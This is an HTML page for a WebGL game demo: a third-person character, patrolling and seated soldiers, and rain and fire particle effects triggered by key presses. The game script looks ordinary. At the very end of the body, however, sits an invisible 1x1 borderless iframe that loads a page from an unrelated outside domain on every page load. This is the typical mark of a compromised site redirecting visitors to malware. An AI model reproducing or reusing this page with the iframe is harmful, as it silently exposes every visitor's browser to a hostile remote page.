<html>
<head>
<meta http-equiv="cache-control" content="no-cache, must-revalidate"/>
<meta http-equiv="Expires" Content="Mon, 25 May 2009 19:07:03 GMT">
<link rel="stylesheet" type="text/css" href="mycss.css" />
<script type="text/javascript" src="../../src/gew.js"></script>
<script type="text/javascript" src="Character.js"></script>
<script type="text/javascript">
var testScreenIdx = 0;
var elapseMls = 0;
var frameCount = 0;
const HOUSE_BIT     = 1;
const CHARACTER_BIT = 1<<1;
function myPhysicCallBack(body1,body2,normal)
{
  /*
  var character = body1.userData? body1.userData:body2.userData;
  //console.log(normal);
  character.isCollide = true;
  character.collideNormal.set(normal.x,normal.z);
  //character.stand();
  */
}

function startFireAnimation2(screen, current_time, total_time, step){
  var filter = screen.scene3d.filters.levelFilter;
  current_time+=step;
  if(current_time>=total_time)
  {   
    filter.inWhite = 229;
    filter.outBlack = 0;
    return;
  }
  var factor =  1-(current_time/total_time);
  var inWhite = gewMix(229,2,factor);
  if (inWhite < 15) {
    var outBlack = gewMix(0, 255, (15-inWhite)/13 );
    filter.outBlack = outBlack;
  }
  else
  {
    filter.outBlack = 0;
  }
  filter.inWhite = inWhite;  
  //filter.outBlack = outBlack;
  setTimeout( function(){ startFireAnimation2(screen,current_time,total_time,step);},step);
}
function destroySoldiers(screen)
{
  var sol1s = screen.staticSoldiers;
  for(var i=0;i<sol1s.length;i++)
  {
    var node = sol1s[i];
    node.destructor();
  }
  var sol2s = screen.soldiers;
  var len = sol2s.length;
  for(var i=0;i<len;i++)
  {
    var sol  =  sol2s.shift();
    sol.node.destructor();
    delete sol;
  }
}
function startFiring(screen)
{  
  var scene3d = screen.scene3d;
  var gl = scene3d.gl;
  var root = scene3d.root;
  var fire_material = screen.fireMaterial;
  ///////////////////////////////////////////////////////////////
  // Create Fire
  ///////////////////////////////////////////////////////////////
  var fire_node = new gewFireEmitter(gl);  
  
  var high_fire_particle_param = {
                              minLife:0.7,
                              maxLife:0.8,
                              velocityLengthMin:3,
                              velocityLengthMax:4,
                              minStartTime:0.0,
                              maxStartTime:3.0,
                              gravity:new gewVec3(0,3,0),
                              minAxialForceFactor:0.5,
                              axialForceScale:2,
                              minSize:1.0,
                              maxSize:1.5,
                              color:new gewVec4(1.0,0.64,0.14,1.0)
                            };
     
  // Truck                                                                         
  fire_node.createFireAtPoints(50,
                                [new gewVec3(-250.9,5.5,-304.35),
                                new gewVec3(-250,5.5,-306.32),                                            
                                new gewVec3(-248.93,5.5,-308.75),
                                new gewVec3(-249.78,5.3,-307.34),
                                
                                new gewVec3(-256.10,4.6,-281.90),
                                new gewVec3(-256.69,4.8,-281.06),
                                new gewVec3(-258.75,4.1,-280.96),
                                new gewVec3(-258.53,5.,-279.25),
                                new gewVec3(-259.57,5.,-278.42),
                                new gewVec3(-260.58,5.,-279.81),
                                new gewVec3(-262.31,2.7,-279.77),
                                new gewVec3(-261.51,2.7,-280.30),
                                new gewVec3(-260.83,2.7,-280.78),
                                new gewVec3(-259.82,2.7,-281.43),
                                new gewVec3(-258.67,2.7,-281.99),
                                new gewVec3(-257.52,2.7,-282.57),
                                new gewVec3(-256.38,2.7,-282.85),
                                new gewVec3(-255.33,2.7,-281.94),
                                new gewVec3(-255.14,2.6,-281.02),
                                new gewVec3(-256.14,2.6,-280.30),
                                new gewVec3(-257.21,2.6,-279.63),
                                new gewVec3(-258.34,2.6,-278.95),
                                new gewVec3(-259.40,2.7,-278.13),
                                new gewVec3(-260.47,2.7,-277.36),
                                new gewVec3(-261.16,2.7,-277.69),
                                new gewVec3(-261.52,2.7,-278.43),
                                new gewVec3(-261.86,2.7,-279.14),
                                
                                new gewVec3(-255.64,2.55,-279.35),
                                new gewVec3(-255.85,2.55,-278.73),
                                new gewVec3(-256.03,2.55,-278.09),
                                new gewVec3(-255.52,2.55,-277.14),
                                new gewVec3(-254.89,2.5,-276.64),
                                new gewVec3(-255.93,2.55,-275.92),
                                new gewVec3(-256.78,2.7,-275.40),
                                new gewVec3(-257.53,2.7,-276.14),
                                new gewVec3(-254.70,2.55,-275.80),
                                new gewVec3(-255.27,2.55,-275.48),
                                new gewVec3(-256.12,2.6,-274.95),
                                new gewVec3(-254.20,2.5,-275.16),
                                new gewVec3(-254.17,2.5,-274.18),
                                new gewVec3(-253.97,2.45,-272.88),
                                new gewVec3(-253.76,2.4,-271.55),
                                new gewVec3(-253.57,2.35,-270.25),
                                new gewVec3(-253.23,2.3,-268.95),
                                
                                ],
                                high_fire_particle_param);
  // house
  fire_node.createFireAtPoints(50,                                
                                [
                                new gewVec3(-251.15,6.6,-315.2),
                                new gewVec3(-248.93,6.5,-317.6),
                                new gewVec3(-248.74,6.4,-315.17),
                                new gewVec3(-250.83,6.5,-317.8),
                                new gewVec3(-250.6,7.5,-316.44),
                                new gewVec3(-248.1,7.5,-316.62),
                                new gewVec3(-249.82,6.55,-314.86),
                                new gewVec3(-247.88,6.55,-314.77),
                                new gewVec3(-251.53,6.55,-314.92),
                                new gewVec3(-247.86,6.55,-317.89),
                                new gewVec3(-251.47,6.55,-318.25),
                                //
                                new gewVec3(-262.99,6,-317.01),
                                new gewVec3(-264.32,6,-317.10),
                                new gewVec3(-266.18,6,-317.19),
                                new gewVec3(-267.18,6,-317.15),
                                new gewVec3(-263.21,6,-318.37),
                                new gewVec3(-262.92,6,-319.65),
                                new gewVec3(-263.16,6,-320.29),
                                new gewVec3(-264.56,6,-320.37),
                                new gewVec3(-265.91,6,-320.21),
                                new gewVec3(-266.24,6,-318.45),
                                new gewVec3(-264.61,6,-318.50),
                                new gewVec3(-263.29,6,-318.62),
                                //
                                new gewVec3(-273.53,5.5,-328.52),
                                new gewVec3(-274.53,5,-328.53),
                                new gewVec3(-276.45,5.5,-328.48),
                                new gewVec3(-277.12,5.5,-328.84),
                                new gewVec3(-276.91,5.5,-329.81),
                                new gewVec3(-275.73,5,-330.40),
                                new gewVec3(-274.74,5.5,-330.58),
                                new gewVec3(-273.82,5,-331.06),
                                new gewVec3(-273.54,5.5,-332.35),
                                new gewVec3(-274.50,5.5,-332.34),
                                new gewVec3(-275.43,5,-332.04),
                                new gewVec3(-276.75,5.5,-332.10),
                                new gewVec3(-277.74,5,-331.93),
                                //
                                new gewVec3(-244.16,3.09,-286.80),
                                new gewVec3(-242.97,3.04,-286.23),
                                new gewVec3(-241.30,2.99,-286.03),
                                new gewVec3(-240.05,2.92,-284.48),
                                new gewVec3(-244.64,2.86,-282.92),
                                new gewVec3(-244.14,2.83,-282.46),
                                new gewVec3(-243.52,2.81,-282.19),
                                new gewVec3(-243.03,2.78,-281.75),
                                new gewVec3(-244.42,2.90,-283.46),
                                new gewVec3(-244.34,3.00,-284.98),
                                new gewVec3(-244.22,3.05,-285.99),
                                new gewVec3(-242.45,2.84,-282.59),
                                new gewVec3(-241.58,2.88,-283.18),
                                new gewVec3(-240.65,2.89,-283.55),
                                //
                                new gewVec3(-262.35,3.03,-280.89),
                                new gewVec3(-263.02,3.01,-282.15),
                                new gewVec3(-263.26,3.02,-283.23),
                                new gewVec3(-266.12,3.10,-283.70),
                                new gewVec3(-265.73,3.07,-284.68),
                                new gewVec3(-267.68,3.19,-283.60),
                                new gewVec3(-268.27,3.21,-283.95),
                                new gewVec3(-269.09,3.26,-284.52),
                                new gewVec3(-269.94,3.30,-285.09),
                                new gewVec3(-271.04,3.35,-285.85),
                                new gewVec3(-272.20,3.38,-286.49),
                                new gewVec3(-273.39,3.39,-287.00),
                                new gewVec3(-274.66,3.37,-287.53),
                                new gewVec3(-275.56,3.35,-287.92),
                                new gewVec3(-276.51,3.31,-288.47),
                                new gewVec3(-277.36,3.28,-289.04),
                                new gewVec3(-278.21,3.25,-289.56),
                                new gewVec3(-274.82,3.37,-289.71),
                                new gewVec3(-273.04,3.40,-288.85),
                                //border
                                new gewVec3(-251.99,3.83,-344.80),
                                new gewVec3(-251.05,3.83,-344.81),
                                new gewVec3(-250.09,3.74,-344.76),
                                new gewVec3(-248.93,3.71,-344.80),
                                new gewVec3(-247.73,3.71,-344.82),
                                new gewVec3(-246.73,3.80,-344.73),
                                new gewVec3(-245.40,3.99,-344.86),
                                new gewVec3(-244.16,4.19,-344.80),
                                new gewVec3(-242.63,4.36,-344.98),
                                new gewVec3(-241.59,4.46,-344.96),
                                new gewVec3(-240.66,4.58,-345.05),
                                new gewVec3(-239.42,4.70,-345.10),
                                new gewVec3(-238.56,4.68,-344.76),
                                new gewVec3(-237.47,4.69,-344.16),
                                new gewVec3(-236.18,4.78,-343.88),
                                new gewVec3(-235.01,4.86,-343.37),
                                new gewVec3(-233.66,4.97,-342.64),
                                new gewVec3(-232.33,5.16,-342.35),
                                new gewVec3(-230.84,5.46,-341.95),
                                new gewVec3(-229.78,5.67,-341.13),
                                new gewVec3(-229.07,5.74,-339.26),
                                new gewVec3(-228.05,5.89,-337.78),
                                ],
                                high_fire_particle_param);
  // road
  fire_node.createFireAtPoints(50,                                
                                [                               
                                ],
                                high_fire_particle_param); 
  fire_node.commit();
  root.appendChild(fire_node);
  fire_node.addMaterial(fire_material);
}
function startFireAnimation(screen, current_time, total_time, step){
  var filter = screen.scene3d.filters.levelFilter;
  current_time+=step;
  if(current_time>=total_time)
  {   
    filter.inWhite = 2;
    filter.outBlack = 255;
    startFiring(screen);
    destroySoldiers(screen);
    setTimeout( function(){ startFireAnimation2(screen, 0, total_time*10, step);},4000);
    return;
  }
  var factor = (current_time/total_time);
  var inWhite = gewMix(229,2,factor);
  if (inWhite < 15) {
    var outBlack = gewMix(0, 255, (15-inWhite)/13 );
    filter.outBlack = outBlack;
  }
  filter.inWhite = inWhite;  
  //filter.outBlack = outBlack;
  setTimeout( function(){ startFireAnimation(screen,current_time,total_time,step);},step);
}

function startRainning(screen)
{
  var scene3d = screen.scene3d;
  var gl = scene3d.gl;
  var root = scene3d.root;
  var particle_material = screen.particleMaterial; 
  ///////////////////////////////////////////////////////////////
  // Create rain
  ///////////////////////////////////////////////////////////////    
  var rain_particle_param = { minLength: 0.03,
                              maxLength: 0.035,  
                              startVelocity: new gewVec3(0,-20,0),
                              minLife: 4,
                              maxLife: 5, 
                              minStartTime:0,
                              maxStartTime:50, 
                              color:new gewVec4(0.7,0.7,0.7,0.6),
                              gravity: new gewVec3(0,-2,0),
                              wind: scene3d.wind,
                              minStrength:4,
                              maxStrength:5, 
                              };
  var rain_node = new gewEmitter(gl,GEW_PS_STREAK);
  rain_node.addParticleByGrid(5000,
                              new gewVec3(-60,70,-60),
                              120,120,
                              2,2,
                              gewEmitter.prototype.rainGenParticleFunc,rain_particle_param
                              );
  rain_node.setPositionXYZ(-253,0,-293);
  rain_node.commit();
  root.appendChild(rain_node);
  rain_node.addMaterial(particle_material);
}
function startRainAnimation(screen,current_time,total_time,step)
{
  var main_light = screen.scene3d.mainLight;
  sky_color = screen.scene3d.getEffect("SkyboxEffect").color;  
  current_time+=step;
  if(current_time>=total_time)
  {
    setTimeout( function(){ startRainning(screen);},2000);
    return;  
  }
  factor = (current_time/total_time);
  var ambient_r = gewMix(1.0,0.414,factor);  
  var ambient_g = gewMix(1.0,0.753,factor);  
  var ambient_b = gewMix(1.0,0.737,factor);
  
  var color_r = gewMix(1.0,0.376,factor);
  var color_g = gewMix(1.0,0.686,factor);
  var color_b = gewMix(1.0,0.609,factor);
  
  var shadow = gewMix(0.7,0.8,factor);
  
  main_light.setAmbientXYZ(ambient_r,ambient_g,ambient_b);
  main_light.setColorXYZ(color_r,color_g,color_b);
  main_light.setShadowStrength(shadow);
  
  //
  sky_r = gewMix(0.0,0.1,factor);
  sky_g = gewMix(0.0,0.1,factor);
  sky_b = gewMix(0.0,0.1,factor);
  sky_a = gewMix(0.0,0.9,factor);
  sky_color.set(sky_r,sky_g,sky_b,sky_a);
  setTimeout( function(){ startRainAnimation(screen,current_time,total_time,step);},step);
}

function MyScreen(game)
{
  gewScreen.call(this, game);
  this.scene3d = new gewScene3D(this.game,                    
                                2048,2048,
                                1024,64,
                                true);
  this.physicsEngine = new gewPhysicsEngine(game,this.scene3d);
  this.physicsEngine.collisionCallBack = myPhysicCallBack;
  this.createUrban = function(name,isMainCharacter)
  {
    var rmanager = this.game.resourceManager;
    if(isMainCharacter)
      var urbanN = new gewAnimatedMeshNode(name);
    else
      var urbanN = new gewAnimatedMeshNode(name);
    urbanN.addMaterial(this.urbanM);
    urbanN.addMaterial(this.shadowM);
    urbanN.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(urbanN);
      
    var body = this.physicsEngine.addRigidBody(urbanN, false,3, 1);
    var character = new Character(urbanN, this.scene3d.heightMap ,body);
    return character;
  }
  this.onTick = function(mls)
  {    
    var gl = this.game.gl;
    gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
    this.scene3d.render();
    this.physicsEngine.onTick(mls);
    this.character.onTick(mls);
    
    for(var i=0;i< this.soldiers.length;i++)
    {
      this.soldiers[i].onTick(mls);
    }
    this.scene3d.postProcessing();
    elapseMls += mls;
    frameCount++;
    if (elapseMls >= 2000) 
    {
      var fps = (frameCount / (elapseMls/1000)).toFixed(2);
      document.getElementById("fps").innerHTML = "Frame Rate:" + fps;
      elapseMls = 0;
      frameCount = 0;
    }
  }
  this.onActive = function()
  {
    var game = this.game;
    var gl = this.game.gl;
    var scene3d = this.scene3d;
    var root = scene3d.root;
    var rmanager = this.game.resourceManager;  
    
    ///////////////////////////////////////////////////////////////
    // Create Effect
    var shadowE = scene3d.getEffect("CSMEffect");
    var phongSkinnedE = new gewPhongSkinnedEffect(game);
    
    scene3d.addEffect(phongSkinnedE,4);
    
    var particle_effect = new gewParticleEffect(game);
    scene3d.addEffect(particle_effect);
    ///////////////////////////////////////////////////////////////
    // Create Material
    var urbanM = new gewPhongMaterial(phongSkinnedE,"urban");
    urbanM.texture = rmanager.getTexture("urbanTex");
    urbanM.ambient = new gewVec3(0.7,0.7,0.7);
    urbanM.specular = new gewVec3(0.4,0.4,0.4);
    urbanM.shininess = 2;
    
    var shadowM = new gewCSMMaterial(shadowE,"shadow_skinned");
    shadowM.type = GEW_SHADOW_SKINNED_MESH;
    //shadowM.type = GEW_SHADOW_MESH;
    this.urbanM = urbanM;
    this.shadowM = shadowM;
    
    var particle_material = new gewParticleMaterial(particle_effect,"rain_mat");
    particle_material.type = GEW_PS_STREAK;
    this.particleMaterial = particle_material;
    var fire_material = new gewParticleMaterial(particle_effect,"fire_mat");
    fire_material.type = GEW_PS_SPRITE2D;
    fire_material.spriteTexture = rmanager.getTexture("particle_tex");
    this.fireMaterial = fire_material;
    ///////////////////////////////////////////////////////////////
    // Create character      
    this.character = this.createUrban("main_character",true);
    this.character.setPositionXY(-200,-200);
    this.character.stand();
    
    var camera_system = scene3d.camera_system;
    // init camera
    var cam = camera_system.createCamera(gewThirdPersonCamera, root, this.character.node);
    this.camera = cam;
    cam.setAspectRatio(game.width / game.height);    
    //cam.setPitch(-GEW_MATH_PI / 4);
    cam.setFov(60.0);
    cam.setNear(0.5);
    cam.setFar(1000,100);
    cam.setViewport(0, 0,game.width, game.height);
    camera_system.setActiveCamera(cam);
    ///////////////////////////////////////////////////////////////
    // Create soldier
    ///////////////////////////////////////////////////////////////
    this.soldiers = [];
    
    var sols = this.soldiers;
    
    sols[0] = this.createUrban("soldier0");
    sols[0].setPositionXY(-246,-262);
    
    sols[0].walkAlongWaypoints( [-252,-284,
                                 -247,-294,
                                 -221.5,-299,
                                 -194.8,-292.3,
                                 -224.4,-297.3,
                                 -254.5,-300.6,
                                 -261,-298,
                                 -259.3,-288.2,
                                 -251.8,-283.6,
                                 -246,-262
                                ],
                                 true);
    
    sols[1] = this.createUrban("soldier1");
    sols[1].setPositionXY(-258.8,-339.2);
    
    sols[1].walkAlongWaypoints( [-258.3 ,-319.7,
                                 -256   ,-302.6,
                                 -258   ,-299.7,
                                 -248   ,-295.5,
                                 -250.8 ,-288.4,
                                 -257.6 ,-287.8,
                                 -263   ,-294.3,
                                 -276.3 ,-295,
                                 -290   ,-296.6,
                                 -263.6 ,-295.8,
                                 -255.7 ,-302.9,
                                 -258.8 ,-339.2                                   
                                ],
                                 true);
    //////////////////////////////////////////////////
    // Create static soldiers 
    this.staticSoldiers = [];
    var s1 = new gewAnimatedMeshNode(name);
    s1.addMaterial(this.urbanM);
    s1.addMaterial(this.shadowM);
    s1.setMesh( rmanager.getMesh("urbanMesh") );      
    var jeep1 = this.scene3d.getNodeByName("j1_1");
    jeep1.appendChild(s1);    
    s1.setAnimation( CHARACTER_ANIMATION.SITTING);
    s1.setFrame(3);
    s1.pause();
    this.staticSoldiers.push(s1);
    var s2 = new gewAnimatedMeshNode(name);
    s2.addMaterial(this.urbanM);
    s2.addMaterial(this.shadowM);
    s2.setMesh( rmanager.getMesh("urbanMesh") );    
    jeep1.appendChild(s2);    
    s2.setAnimation( CHARACTER_ANIMATION.SITTING);
    s2.setFrame(4);
    s2.pause();
    this.staticSoldiers.push(s2);
    var s3 = new gewAnimatedMeshNode(name);
    s3.addMaterial(this.urbanM);
    s3.addMaterial(this.shadowM);
    s3.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(s3);        
    s3.setAnimation( CHARACTER_ANIMATION.SITTING);
    s3.setFrame(2);
    s3.pause();
    s3.setPositionXYZ(-252.21, 3.44, -260.96);
    s3.setRotateXYZ(0,1,0,40);
    this.staticSoldiers.push(s3);
    var s4 = new gewAnimatedMeshNode(name);
    s4.addMaterial(this.urbanM);
    s4.addMaterial(this.shadowM);
    s4.setMesh( rmanager.getMesh("urbanMesh") );
    this.scene3d.root.appendChild(s4);         
    s4.setAnimation( CHARACTER_ANIMATION.SITTING);
    s4.setFrame(0);
    s4.pause();
    s4.setPositionXYZ(-238.84, 3.28,-302.8);
    s4.setRotateXYZ(0,1,0,-80);
    this.staticSoldiers.push(s4);
    var s5 = new gewAnimatedMeshNode(name);
    s5.addMaterial(this.urbanM);
    s5.addMaterial(this.shadowM);
    s5.setMesh( rmanager.getMesh("urbanMesh") );  
    this.scene3d.root.appendChild(s5);       
    s5.setAnimation( CHARACTER_ANIMATION.SITTING);
    s5.setFrame(1);
    s5.pause();
    s5.setPositionXYZ(-239.58,3.3,-305.16);
    s5.setRotateXYZ(0,1,0,-75);
    this.staticSoldiers.push(s5);
  },
  this.init = function()
  {
    var game = this.game;
    var gl = this.game.gl;
    var scene3d = this.scene3d;
    var root = scene3d.root;
 
    var rmanager = game.resourceManager;
    rmanager.startBlockCallback = function mystart()
    {
    } 
    rmanager.endBlockCallback = function myend()
    {
      var loading_div = document.getElementById("loading_div");
      var text_area = document.getElementById("loading");
      loading_div.removeChild(text_area);
    } 
    rmanager.startDownloadItemCallback = function mystart(item)
    {
      var text_area = document.getElementById("loading");
      if(text_area.itemCount==undefined)
        text_area.itemCount=0;
      text_area.itemCount++;
      if (text_area.itemCount == 20) {
        var lines = text_area.textContent.split('\n',1);
        var first_line = lines[0];
        var new_str = text_area.textContent.slice( first_line.length+1, text_area.textContent.length );
        text_area.textContent = new_str;
        text_area.itemCount--;
      }
      text_area.textContent+= "Downloading "+item.name+"..\n";
    }    
    rmanager.finishDownloadItemCallback = function myfinish(item)
    {      
    }
    ///////////////////////////////////////////////////////////////
    // Load character
    var urbanTexParam = new gewTextureParameter(gl.LINEAR,gl.LINEAR_MIPMAP_LINEAR,gl.REPEAT,gl.REPEAT);    
    rmanager.load("urbanTex", "Resource/urban.jpg",true,true,gl.RGB,urbanTexParam,true,true,false);
    rmanager.load("urbanMesh","Resource/urban.sam1",true,true,true);            
    
    var physicsEngine = this.physicsEngine;
    rmanager.load("tropical_json","trop15.gsg",true,true,scene3d,physicsEngine);
    rmanager.load("particle_tex","Resource/Particle.png",true,true,gl.RGBA,urbanTexParam,true,true,true);
  }
  this.isDrag = false;
  var filter = this.scene3d.filters.levelFilter;
  filter.inBlack = 0.0;
  filter.inWhite = 229.0;
  filter.inGamma = 1.0;
  filter.outBlack = 0.0;
  filter.outWhite = 255.0;
 
  this.onMouseDown = function(e)
  {
    var ray = getPickingRay(e.canvasX,e.canvasY,this.camera,this.scene3d.inverseViewMat);
    var heightmap = this.character.heightMap;
    var pos = ray.colisionWithHeightMap(heightmap ,40,5,0.05);
    if(!e.altKey&&!e.ctrlKey)
      this.character.moveTo(pos.x,pos.z);
    this.camera.onMouseDown(e);
  }
  this.onMouseMove = function(e)
  {
    this.camera.onMouseMove(e);
  }
  this.onMouseUp = function(e)
  {
    this.camera.onMouseUp(e);
  }
  this.onMouseWheel = function(e)
  {
    this.camera.onMouseWheel(e);
  }
  this.onKeyDown = function(e)
  {    
    this.camera.onKeyDown(e);
  }
  this.onKeyPress = function(e)
  {
    if(e.keychar=='n')
    {
      if (!this.isRained) {
        startRainAnimation(this, 0, 5000, 42);
        this.isRained = true;
      }
      else{
        if (!this.isFired) {
          startFireAnimation(this, 0, 700, 42);
          //this.isFired = true;
        }
      }
    }
    if(e.keychar=='p')
    {
      console.log(this.character.node.position.x.toFixed(2)+","+this.character.node.position.y.toFixed(2)+","+this.character.node.position.z.toFixed(2));
    }
    this.camera.onKeyPress(e);
  }
  this.onKeyUp = function(e)
  {
    this.camera.onKeyUp(e);
  }
}

function main()
{
  var game = new gewGame("cavans_id");
  var blackScreen = new MyScreen(game);
  game.addScreen(blackScreen, testScreenIdx);
  game.setScreen(testScreenIdx);
  blackScreen.init();
  setInterval(function()
  {
    game.run()
  }, 1);
}
</script>
</head>
<body onload="main()" oncontextmenu="return false">
  <div style="text-align: center">
    <!-- this is the canvas that we render to -->
    <canvas id="cavans_id" width="1024" height="580"></canvas>
    <!-- a convenient div to use to display log messages -->
    <div id="fps"></div>
  </div>
  <div id="loading_div">
    <textarea class="loading_area" id="loading" disabled=true></textarea>
  </div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>                  